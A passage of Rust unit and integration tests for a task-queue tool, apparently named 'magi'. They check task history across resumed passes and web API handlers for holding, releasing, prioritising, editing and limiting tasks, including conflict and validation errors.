15908 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
15909 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
15910 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
15911 let mut task = flow_task(&[]);
15912 task.start("a".into());
15913 task.start("b".into());
15914 task.start("a".into());
15915 assert_eq!(task.runs, ["b", "a"]);
15916 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
15917 let h = task_history(&task, |id| {
15918 Some(if id == "a" { a.clone() } else { b.clone() })
15919 });
15920 assert_eq!(
15921 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
15922 ["a", "b", "a"]
15923 );
15924 assert_eq!(h[0].attempt, AttemptCost::Refunded);
15925 assert!(h[0].outcome.contains("upgrade"));
15926 assert_eq!(h[2].kind, "resume");
15927 assert!(h[2].pass.is_some());
15928 task.runs = vec!["a".into(), "b".into(), "a".into()];
15930 let old = task_history(&task, |id| {
15931 Some(if id == "a" { a.clone() } else { b.clone() })
15932 });
15933 assert_eq!(
15934 old.iter()
15935 .map(|v| (&v.id, &v.kind, v.attempt))
15936 .collect::<Vec<_>>(),
15937 h.iter()
15938 .map(|v| (&v.id, &v.kind, v.attempt))
15939 .collect::<Vec<_>>()
15940 );
15941 }
15942
15943 #[test]
15944 fn an_upgrade_whose_target_was_not_known_says_so() {
15945 let run = flow_run(RunStatus::Implementing, |s| {
15946 s.passes = vec![
15947 recorded_pass(
15948 0,
15949 parked(crate::run::ParkCause::Upgrade {
15950 from: "0.121.0".to_owned(),
15951 to: None,
15952 }),
15953 ),
15954 recorded_pass(1, None),
15955 ];
15956 });
15957 let task = flow_task(&[RUN_X, RUN_X]);
15958 let h = task_history(&task, |_| Some(run.clone()));
15959 assert!(
15960 h[0].outcome.contains("upgrade from 0.121.0"),
15961 "{}",
15962 h[0].outcome
15963 );
15964 assert_eq!(h[0].attempt, AttemptCost::Unknown);
15966 }
15967
15968 #[test]
15969 fn each_pass_keeps_its_own_cause_across_several_resumes() {
15970 use crate::queue::PassCost;
15971 use crate::run::ParkCause;
15972 let run = flow_run(RunStatus::Implementing, |s| {
15973 s.passes = vec![
15974 recorded_pass(0, parked(upgrade_cause())),
15975 recorded_pass(
15976 1,
15977 parked(ParkCause::Interrupt {
15978 reason: "task a1b2 asked to run first".to_owned(),
15979 }),
15980 ),
15981 recorded_pass(2, parked(ParkCause::Operator)),
15982 recorded_pass(3, None),
15983 ];
15984 });
15985 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
15986 task.attempts = 1;
15987 task.passes = (0..3)
15988 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
15989 .collect();
15990 let h = task_history(&task, |_| Some(run.clone()));
15991 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
15992 assert!(
15993 h[1].outcome.contains("task a1b2 asked to run first"),
15994 "{}",
15995 h[1].outcome
15996 );
15997 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
15998 assert!(
15999 h[2].outcome.contains("operator asked the loop to park"),
16000 "{}",
16001 h[2].outcome
16002 );
16003 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16004 let f = task_flow(&task, &h, 2, None);
16005 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16006 }
16007
16008 #[test]
16009 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16010 let run = flow_run(RunStatus::Implementing, |s| {
16011 s.passes = vec![
16012 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16013 recorded_pass(1, None),
16014 ];
16015 });
16016 let task = flow_task(&[RUN_X, RUN_X]);
16017 let h = task_history(&task, |_| Some(run.clone()));
16018 assert_eq!(h[0].exit, RunExit::Interrupted);
16019 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16020 assert!(
16021 h[0].outcome.contains("without recording why"),
16022 "{}",
16023 h[0].outcome
16024 );
16025 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16026 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16027 }
16028
16029 #[test]
16030 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16031 use crate::queue::PassCost;
16032 let run = flow_run(RunStatus::Implementing, |s| {
16035 s.passes = vec![
16036 recorded_pass(0, parked(upgrade_cause())),
16037 recorded_pass(1, None),
16038 ];
16039 });
16040 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16041 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16042 let h = task_history(&task, |_| Some(run.clone()));
16043 assert!(h[0].pass.is_none());
16044 assert_eq!(h[0].exit, RunExit::Interrupted);
16045 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16046 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16047 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16048 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16049 let legacy = flow_run(RunStatus::Implementing, |_| {});
16051 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16052 assert!(h.iter().all(|v| v.pass.is_none()));
16053 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16054 }
16055
16056 #[test]
16057 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16058 use crate::queue::PassCost;
16059 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16062 web.task_entry = false;
16063 let run = flow_run(RunStatus::Implementing, |s| {
16064 s.passes = vec![
16065 recorded_pass(0, parked(upgrade_cause())),
16066 web.clone(),
16067 recorded_pass(2, None),
16068 ];
16069 });
16070 let mut task = flow_task(&[RUN_X, RUN_X]);
16071 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16072 let h = task_history(&task, |_| Some(run.clone()));
16073 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16074 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16075
16076 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16079 web0.task_entry = false;
16080 let run = flow_run(RunStatus::Implementing, |s| {
16081 s.passes = vec![web0.clone(), recorded_pass(1, None)];
16082 });
16083 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16084 assert!(h[0].pass.is_none());
16085 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16086 assert!(h[1].pass.is_some());
16087 }
16088
16089 #[tokio::test]
16090 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16091 let dir = tempfile::tempdir().unwrap();
16092 let queue = Queue::at(dir.path().join("queue"));
16093 let ui = Arc::new(Ui::new(
16094 queue.clone(),
16095 Questions::at(dir.path().join("questions")),
16096 Talks::at(dir.path().join("talks")),
16097 dir.path().join("runs"),
16098 dir.path().to_path_buf(),
16099 dir.path().to_path_buf(),
16100 ));
16101 let mut t = Task::new(
16102 "recover".into(),
16103 "Inspect".into(),
16104 PathBuf::from("."),
16105 Source::Human,
16106 );
16107 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16108 t.start("run-A".into());
16109 t.release_operator("choice", Some("resume-question"));
16110 t.resume_override = Some(crate::queue::OperatorResume {
16111 question_id: "resume-question".into(),
16112 at: jiff::Timestamp::now(),
16113 conductor_rehold: None,
16114 forced: true,
16115 pinned_run: Some("run-A".into()),
16116 });
16117 t.hold_machine(Some("inspection pending".into()));
16118 t.edit("recover".into(), "Reuse approved PR head".into())
16119 .unwrap();
16120 queue.put(&mut t).unwrap();
16121 let mut cli = t.clone();
16122 cli.release_operator("cli", None);
16123 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16124 let reloaded = queue.get(&t.id).unwrap();
16125 assert_eq!(reply.task.status, TaskStatus::Queued);
16126 assert!(reloaded.resume_override.is_none());
16127 assert_eq!(reloaded.answers, t.answers);
16128 let mut web = reloaded.resumption.unwrap();
16129 let cli = cli.resumption.unwrap();
16130 assert_eq!(web.source, "web");
16131 web.source = cli.source.clone();
16132 web.at = cli.at;
16133 assert_eq!(web, cli);
16134 }
16135
16136 #[tokio::test]
16137 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16138 let f = Fixture::start().await;
16139 let queue = f.queue();
16140 let mut task = Task::new(
16141 "spent".to_owned(),
16142 "Try again".to_owned(),
16143 PathBuf::from("/repo/magi"),
16144 Source::Human,
16145 );
16146 task.start("20260902-140502-bbbb".to_owned());
16147 task.fail("agent gave up", 9);
16148 queue.put(&mut task).expect("file the task");
16149
16150 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16151 assert_eq!(held.status, 200);
16152 assert_eq!(held.json()["status_str"], "held");
16153
16154 let released = f
16155 .post(&format!("/api/queue/{}/release", task.id), None)
16156 .await;
16157 assert_eq!(released.status, 200);
16158 assert_eq!(released.json()["status_str"], "queued");
16159 assert_eq!(released.json()["resumption"]["source"], "web");
16160 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16161 let mut cli = task.clone();
16162 cli.release_operator("cli", None);
16163 let web = queue.get(&task.id).unwrap().resumption.unwrap();
16164 let cli = cli.resumption.unwrap();
16165 assert_eq!(web.instruction, cli.instruction);
16166 assert_eq!(web.answers_through, cli.answers_through);
16167 assert_eq!(web.runs_through, cli.runs_through);
16168 assert_eq!(web.cleared_reason, cli.cleared_reason);
16169 assert_eq!(
16170 released.json()["attempts"],
16171 0,
16172 "release is a real second chance, not an instant re-hold"
16173 );
16174 assert_eq!(
16175 queue.get(&task.id).expect("reload").status,
16176 TaskStatus::Queued,
16177 "the change is on disk, not only in the reply"
16178 );
16179 assert!(
16180 !f.home
16181 .path()
16182 .join("queue")
16183 .join(format!("{}.lock", task.id))
16184 .exists(),
16185 "the claim the mutation took is released again"
16186 );
16187 }
16188
16189 #[tokio::test]
16190 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16191 let f = Fixture::start().await;
16192 let queue = f.queue();
16193 let mut task = Task::new(
16194 "busy".to_owned(),
16195 "Running right now".to_owned(),
16196 PathBuf::from("/repo/magi"),
16197 Source::Human,
16198 );
16199 queue.put(&mut task).expect("file the task");
16200 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16201
16202 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16203
16204 assert_eq!(res.status, 409);
16205 assert_eq!(
16206 queue.get(&task.id).expect("reload").status,
16207 TaskStatus::Queued,
16208 "the refused hold changed nothing"
16209 );
16210 }
16211
16212 #[tokio::test]
16213 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16214 let f = Fixture::start().await;
16215 let queue = f.queue();
16216 let mut task = Task::new(
16217 "waiting on the migration".to_owned(),
16218 "Do the thing".to_owned(),
16219 PathBuf::from("/repo/magi"),
16220 Source::Human,
16221 );
16222 queue.put(&mut task).expect("file the task");
16223
16224 let held = f
16225 .post(
16226 &format!("/api/queue/{}/hold", task.id),
16227 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16228 )
16229 .await;
16230 assert_eq!(held.status, 200, "{}", held.body);
16231 assert_eq!(held.json()["status_str"], "held");
16232 assert_eq!(
16233 held.json()["hold_reason"],
16234 "waiting for 20260101-000000-aaaa to land"
16235 );
16236
16237 let listed = f.get("/api/queue").await.json();
16238 assert_eq!(
16239 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16240 "the card reads the reason off the same list route"
16241 );
16242
16243 let mut plain = Task::new(
16246 "no reason given".to_owned(),
16247 "Do another thing".to_owned(),
16248 PathBuf::from("/repo/magi"),
16249 Source::Human,
16250 );
16251 queue.put(&mut plain).expect("file the task");
16252 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16253 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16254 assert!(held_plain.json()["hold_reason"].is_null());
16255
16256 let released = f
16257 .post(&format!("/api/queue/{}/release", task.id), None)
16258 .await;
16259 assert_eq!(released.status, 200);
16260 assert!(
16261 released.json()["hold_reason"].is_null(),
16262 "a release must clear the reason so the next hold does not inherit it"
16263 );
16264 }
16265
16266 #[test]
16267 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16268 for urgent in [true, false] {
16269 let body: UrgentBody =
16270 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16271 assert_eq!(body.urgent, urgent);
16272 }
16273 for input in [
16274 r#"{}"#,
16275 r#"{"urgent":null}"#,
16276 r#"{"urgent":"true"}"#,
16277 r#"{"urgent":1}"#,
16278 r#"{"urgent":true,"extra":false}"#,
16279 ] {
16280 assert!(
16281 serde_json::from_str::<UrgentBody>(input).is_err(),
16282 "{input}"
16283 );
16284 }
16285 }
16286
16287 #[tokio::test]
16288 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16289 let home = TempDir::new().unwrap();
16290 let q = Queue::at(home.path().join("queue"));
16291 let ui = Arc::new(Ui::new(
16292 q.clone(),
16293 Questions::at(home.path().join("questions")),
16294 Talks::at(home.path().join("talks")),
16295 home.path().join("runs"),
16296 home.path().into(),
16297 home.path().into(),
16298 ));
16299 let mut task = Task::new(
16300 "urgent handler".into(),
16301 "keep".into(),
16302 home.path().into(),
16303 Source::Human,
16304 );
16305 for status in [TaskStatus::Queued, TaskStatus::Held] {
16306 task.status = status;
16307 q.put(&mut task).unwrap();
16308 for urgent in [true, true, false, false] {
16309 let saved = queue_urgent(
16310 State(Arc::clone(&ui)),
16311 Path(task.short().into()),
16312 Ok(Json(UrgentBody { urgent })),
16313 )
16314 .await
16315 .unwrap();
16316 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16317 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16318 }
16319 }
16320 task.status = TaskStatus::Queued;
16321 q.put(&mut task).unwrap();
16322 let claim = q.claim(&task.id).unwrap();
16323 let error = queue_urgent(
16324 State(Arc::clone(&ui)),
16325 Path(task.id.clone()),
16326 Ok(Json(UrgentBody { urgent: true })),
16327 )
16328 .await
16329 .unwrap_err();
16330 assert_eq!(error.status, StatusCode::CONFLICT);
16331 assert!(error.message.contains("released"));
16332 drop(claim);
16333 for status in [
16334 TaskStatus::Running,
16335 TaskStatus::Done,
16336 TaskStatus::Failed,
16337 TaskStatus::Blocked,
16338 TaskStatus::Parked,
16339 ] {
16340 task.status = status;
16341 q.put(&mut task).unwrap();
16342 let error = queue_urgent(
16343 State(Arc::clone(&ui)),
16344 Path(task.id.clone()),
16345 Ok(Json(UrgentBody { urgent: false })),
16346 )
16347 .await
16348 .unwrap_err();
16349 assert_eq!(error.status, StatusCode::BAD_REQUEST);
16350 assert!(error.message.contains(status.as_str()));
16351 }
16352 }
16353
16354 #[tokio::test]
16355 async fn urgent_api_updates_preserves_and_validates_tasks() {
16356 let f = Fixture::start().await;
16357 let q = f.queue();
16358 let mut t = Task::new(
16359 "urgent API".into(),
16360 "unchanged".into(),
16361 PathBuf::from("/repo/magi"),
16362 Source::Human,
16363 );
16364 t.attempts = 2;
16365 t.priority = 9;
16366 t.interrupt = true;
16367 t.hold_reason = Some("waiting for approval".into());
16368 for status in [TaskStatus::Queued, TaskStatus::Held] {
16369 t.status = status;
16370 q.put(&mut t).unwrap();
16371 for urgent in [true, true, false, false] {
16372 let response = f
16373 .post(
16374 &format!("/api/queue/{}/urgent", t.short()),
16375 Some(&format!("{{\"urgent\":{urgent}}}")),
16376 )
16377 .await;
16378 assert_eq!(response.status, 200, "{}", response.body);
16379 assert_eq!(response.json()["urgent"], urgent);
16380 let saved = q.get(&t.id).unwrap();
16381 let mut before = serde_json::to_value(&t).unwrap();
16382 let mut after = serde_json::to_value(saved).unwrap();
16383 before["urgent"] = urgent.into();
16384 before.as_object_mut().unwrap().remove("updated_at");
16385 after.as_object_mut().unwrap().remove("updated_at");
16386 assert_eq!(after, before);
16387 }
16388 }
16389 let route = format!("/api/queue/{}/urgent", t.id);
16390 for body in [
16391 r#"{}"#,
16392 r#"{"urgent":null}"#,
16393 r#"{"urgent":"true"}"#,
16394 r#"{"urgent":1}"#,
16395 r#"{"urgent":true,"extra":false}"#,
16396 "{",
16397 ] {
16398 assert_eq!(f.post(&route, Some(body)).await.status, 400);
16399 }
16400 t.status = TaskStatus::Queued;
16401 q.put(&mut t).unwrap();
16402 let claim = q.claim(&t.id).unwrap();
16403 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16404 assert_eq!(response.status, 409, "{}", response.body);
16405 assert!(!q.get(&t.id).unwrap().urgent);
16406 drop(claim);
16407 for status in [
16408 TaskStatus::Running,
16409 TaskStatus::Done,
16410 TaskStatus::Failed,
16411 TaskStatus::Blocked,
16412 TaskStatus::Parked,
16413 ] {
16414 t.status = status;
16415 q.put(&mut t).unwrap();
16416 for urgent in [true, false] {
16417 let response = f
16418 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16419 .await;
16420 assert_eq!(response.status, 400, "{}", response.body);
16421 assert!(response.body.contains(status.as_str()));
16422 assert!(response.body.contains("queued or held"));
16423 assert!(!q.get(&t.id).unwrap().urgent);
16424 }
16425 }
16426 assert_eq!(
16427 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16428 .await
16429 .status,
16430 404
16431 );
16432 }
16433
16434 #[tokio::test]
16435 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16436 let f = Fixture::start().await;
16437 let queue = f.queue();
16438 let mut older = Task::new(
16439 "filed first".to_owned(),
16440 "x".to_owned(),
16441 PathBuf::from("/repo/magi"),
16442 Source::Human,
16443 );
16444 older.id = "20260101-000001-aaaa".to_owned();
16445 let mut newer = Task::new(
16446 "filed second".to_owned(),
16447 "x".to_owned(),
16448 PathBuf::from("/repo/magi"),
16449 Source::Human,
16450 );
16451 newer.id = "20260101-000002-bbbb".to_owned();
16452 queue.put(&mut older).expect("file older");
16453 queue.put(&mut newer).expect("file newer");
16454
16455 let before = f.get("/api/queue").await.json();
16458 assert_eq!(before[0]["id"], newer.id);
16459 assert_eq!(before[1]["id"], older.id);
16460
16461 let raised = f
16465 .post(
16466 &format!("/api/queue/{}/priority", older.id),
16467 Some(r#"{"priority":10}"#),
16468 )
16469 .await;
16470 assert_eq!(raised.status, 200, "{}", raised.body);
16471 assert_eq!(raised.json()["priority"], 10);
16472
16473 let after = f.get("/api/queue").await.json();
16474 let names: Vec<&str> = after
16475 .as_array()
16476 .unwrap()
16477 .iter()
16478 .map(|t| t["id"].as_str().unwrap())
16479 .collect();
16480 assert_eq!(names[0], older.id, "the raised task now sorts first");
16484 }
16485
16486 #[tokio::test]
16487 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16488 let dir = TempDir::new().unwrap();
16489 let q = Queue::at(dir.path().join("queue"));
16490 let ui = Arc::new(Ui::new(
16491 q.clone(),
16492 Questions::at(dir.path().join("questions")),
16493 Talks::at(dir.path().join("talks")),
16494 dir.path().join("runs"),
16495 dir.path().to_path_buf(),
16496 dir.path().to_path_buf(),
16497 ));
16498 let mut t = Task::new(
16499 "budget".into(),
16500 "keep".into(),
16501 dir.path().into(),
16502 Source::Human,
16503 );
16504 t.attempts = 2;
16505 t.runs.push("prior-run".into());
16506 t.hold_manual(Some("waiting".into()));
16507 q.put(&mut t).unwrap();
16508 let change = |value| {
16509 queue_attempt_limit(
16510 State(ui.clone()),
16511 Path(t.id.clone()),
16512 Ok(Json(AttemptLimitBody {
16513 attempt_limit: value,
16514 })),
16515 )
16516 };
16517 for value in [
16518 serde_json::json!(3),
16519 serde_json::Value::Null,
16520 serde_json::json!(1),
16521 ] {
16522 let response = change(value.clone()).await.unwrap();
16523 assert_eq!(
16524 serde_json::to_value(response.0).unwrap()["attempt_limit"],
16525 value
16526 );
16527 let saved = q.get(&t.id).unwrap();
16528 assert_eq!(
16529 serde_json::to_value(&saved).unwrap()["attempt_limit"],
16530 value
16531 );
16532 assert_eq!(saved.status, TaskStatus::Held);
16533 assert_eq!(saved.attempts, t.attempts);
16534 assert_eq!(saved.runs, t.runs);
16535 assert_eq!(saved.hold_reason, t.hold_reason);
16536 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16537 .await
16538 .unwrap()
16539 .0;
16540 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16541 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16542 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
16543 assert_eq!(outcome.max_attempts, detail.max_attempts);
16544 }
16545 for value in [
16546 serde_json::json!(0),
16547 serde_json::json!(-1),
16548 serde_json::json!(1.5),
16549 serde_json::json!("3"),
16550 serde_json::json!(true),
16551 ] {
16552 assert_eq!(
16553 change(value).await.err().unwrap().status,
16554 StatusCode::BAD_REQUEST
16555 );
16556 }
16557 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
16558 let claim = q.claim(&t.id).unwrap();
16559 assert_eq!(
16560 change(serde_json::json!(4)).await.err().unwrap().status,
16561 StatusCode::CONFLICT
16562 );
16563 drop(claim);
16564 for status in [
16565 TaskStatus::Running,
16566 TaskStatus::Done,
16567 TaskStatus::Failed,
16568 TaskStatus::Blocked,
16569 TaskStatus::Parked,
16570 ] {
16571 let mut stored = q.get(&t.id).unwrap();
16572 stored.status = status;
16573 q.put(&mut stored).unwrap();
16574 assert_eq!(
16575 change(serde_json::json!(4)).await.err().unwrap().status,
16576 StatusCode::BAD_REQUEST
16577 );
16578 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
16579 }
16580 let mut stored = q.get(&t.id).unwrap();
16581 stored.status = TaskStatus::Queued;
16582 q.put(&mut stored).unwrap();
16583 let _ = change(serde_json::Value::Null).await.unwrap();
16584 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
16585 }
16586
16587 #[tokio::test]
16588 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
16589 let dir = TempDir::new().unwrap();
16590 let repo = dir.path().join("repo");
16591 std::fs::create_dir(&repo).unwrap();
16592 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
16593 let q = Queue::at(dir.path().join("queue"));
16594 let ui = Arc::new(Ui::new(
16595 q.clone(),
16596 Questions::at(dir.path().join("questions")),
16597 Talks::at(dir.path().join("talks")),
16598 dir.path().join("runs"),
16599 dir.path().to_path_buf(),
16600 repo.clone(),
16601 ));
16602 let mut t = Task::new(
16603 "seats".into(),
16604 "keep instruction".into(),
16605 repo,
16606 Source::Human,
16607 );
16608 t.runs.push("prior-run".into());
16609 t.hold_manual(Some("waiting".into()));
16610 q.put(&mut t).unwrap();
16611 let change = |count| {
16612 queue_implementers(
16613 State(ui.clone()),
16614 Path(t.id.clone()),
16615 Ok(Json(ImplementersBody {
16616 implementers: count,
16617 })),
16618 )
16619 };
16620 for count in [2, 1, 2] {
16621 let response = change(count).await.unwrap();
16622 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
16623 let saved = q.get(&t.id).unwrap();
16624 assert_eq!(saved.implementers(), Some(usize::from(count)));
16625 assert_eq!(saved.runs, t.runs);
16626 assert_eq!(saved.instruction, t.instruction);
16627 }
16628 for count in [0, 4] {
16629 assert_eq!(
16630 change(count).await.err().unwrap().status,
16631 StatusCode::BAD_REQUEST
16632 );
16633 }
16634 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
16635 let claim = q.claim(&t.id).unwrap();
16636 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
16637 drop(claim);
16638 for status in [
16639 TaskStatus::Running,
16640 TaskStatus::Done,
16641 TaskStatus::Failed,
16642 TaskStatus::Blocked,
16643 TaskStatus::Parked,
16644 ] {
16645 let mut stored = q.get(&t.id).unwrap();
16646 stored.status = status;
16647 q.put(&mut stored).unwrap();
16648 assert_eq!(
16649 change(1).await.err().unwrap().status,
16650 StatusCode::BAD_REQUEST
16651 );
16652 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
16653 }
16654 }
16655
16656 #[tokio::test]
16657 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
16658 let f = Fixture::start().await;
16659 let queue = f.queue();
16660 let mut task = Task::new(
16661 "in flight".to_owned(),
16662 "x".to_owned(),
16663 PathBuf::from("/repo/magi"),
16664 Source::Human,
16665 );
16666 task.start("20260902-140502-bbbb".to_owned());
16667 queue.put(&mut task).expect("file the task");
16668
16669 let res = f
16670 .post(
16671 &format!("/api/queue/{}/priority", task.id),
16672 Some(r#"{"priority":9}"#),
16673 )
16674 .await;
16675 assert_eq!(res.status, 400, "{}", res.body);
16676 assert!(
16677 res.json()["error"]
16678 .as_str()
16679 .is_some_and(|e| e.contains("running")),
16680 "{}",
16681 res.body
16682 );
16683 assert_eq!(
16684 queue.get(&task.id).expect("reload").priority,
16685 0,
16686 "the refused write must not partially apply"
16687 );
16688 }
16689
16690 #[tokio::test]
16691 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
16692 let f = Fixture::start().await;
16693 let queue = f.queue();
16694 let mut task = Task::new(
16695 "old title".to_owned(),
16696 "old instruction".to_owned(),
16697 PathBuf::from("/repo/magi"),
16698 Source::Agent {
16699 run: "20260101-000000-beef".to_owned(),
16700 node: "implement".to_owned(),
16701 },
16702 );
16703 task.runs.push("20260101-000000-beef".to_owned());
16704 queue.put(&mut task).expect("file the task");
16705 let created_at = task.created_at;
16706
16707 let edited = f
16708 .post(
16709 &format!("/api/queue/{}/edit", task.id),
16710 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
16711 )
16712 .await;
16713 assert_eq!(edited.status, 200, "{}", edited.body);
16714 let body = edited.json();
16715 assert_eq!(body["title"], "new title");
16716 assert_eq!(body["instruction"], "new instruction");
16717 assert_eq!(body["id"], task.id, "editing must not mint a new id");
16718 assert_eq!(body["created_at"], created_at.to_string());
16719 assert_eq!(
16720 body["source"]["kind"], "agent",
16721 "editing a task an agent filed must not turn it human: {body}"
16722 );
16723 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
16724
16725 let reloaded = queue.get(&task.id).expect("reload");
16726 assert_eq!(reloaded.title, "new title");
16727 assert_eq!(reloaded.instruction, "new instruction");
16728 }
16729
16730 #[tokio::test]
16731 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
16732 let tmp = TempDir::new().expect("tempdir");
16735 let repo = tmp.path().join("repo");
16736 std::fs::create_dir_all(&repo).expect("repo dir");
16737 let judge = MOCK_AGENT_TOML.replace(
16738 "printf ok",
16739 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
16740 );
16741 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
16742 let f = Fixture::with_repo(repo.clone()).await;
16743 let queue = f.queue();
16744 let mut owner = Task::new(
16745 "owner".to_owned(),
16746 "review it".to_owned(),
16747 repo.clone(),
16748 Source::Human,
16749 );
16750 owner.review_branch = Some("magi/ab12/A".to_owned());
16751 queue.put(&mut owner).expect("file the owner");
16752 let mut task = Task::new(
16753 "draft".to_owned(),
16754 "old".to_owned(),
16755 repo.clone(),
16756 Source::Human,
16757 );
16758 queue.put(&mut task).expect("file the draft");
16759 let url = format!("/api/queue/{}/edit", task.id);
16760
16761 let refused = f
16762 .post(
16763 &url,
16764 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
16765 )
16766 .await;
16767 assert_eq!(refused.status, 409, "{}", refused.body);
16768 let msg = refused.json()["error"]
16769 .as_str()
16770 .unwrap_or_default()
16771 .to_owned();
16772 assert!(
16773 msg.contains("magi/ab12/A") && msg.contains("force"),
16774 "{msg}"
16775 );
16776 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
16777
16778 let forced = f
16779 .post(
16780 &url,
16781 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
16782 )
16783 .await;
16784 assert_eq!(forced.status, 200, "{}", forced.body);
16785 }
16786
16787 #[tokio::test]
16788 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
16789 let f = Fixture::start().await;
16790 let queue = f.queue();
16791 let mut task = Task::new(
16792 "in flight".to_owned(),
16793 "do not touch".to_owned(),
16794 PathBuf::from("/repo/magi"),
16795 Source::Human,
16796 );
16797 task.start("20260902-140502-bbbb".to_owned());
16798 queue.put(&mut task).expect("file the task");
16799
16800 let res = f
16801 .post(
16802 &format!("/api/queue/{}/edit", task.id),
16803 Some(r#"{"title":"x","instruction":"y"}"#),
16804 )
16805 .await;
16806 assert_eq!(res.status, 400, "{}", res.body);
16807 assert!(
16808 res.json()["error"]
16809 .as_str()
16810 .is_some_and(|e| e.contains("running")),
16811 "{}",
16812 res.body
16813 );
16814 assert_eq!(
16815 queue.get(&task.id).expect("reload").instruction,
16816 "do not touch",
16817 "the refused edit must not change the file"
16818 );
16819 }
16820
16821 #[tokio::test]
16822 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
16823 let f = Fixture::start().await;
16824 let queue = f.queue();
16825 let mut task = Task::new(
16826 "busy".to_owned(),
16827 "Running right now".to_owned(),
16828 PathBuf::from("/repo/magi"),
16829 Source::Human,
16830 );
16831 queue.put(&mut task).expect("file the task");
16832 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16833
16834 let priority = f
16835 .post(
16836 &format!("/api/queue/{}/priority", task.id),
16837 Some(r#"{"priority":9}"#),
16838 )
16839 .await;
16840 assert_eq!(priority.status, 409, "{}", priority.body);
16841
16842 let edit = f
16843 .post(
16844 &format!("/api/queue/{}/edit", task.id),
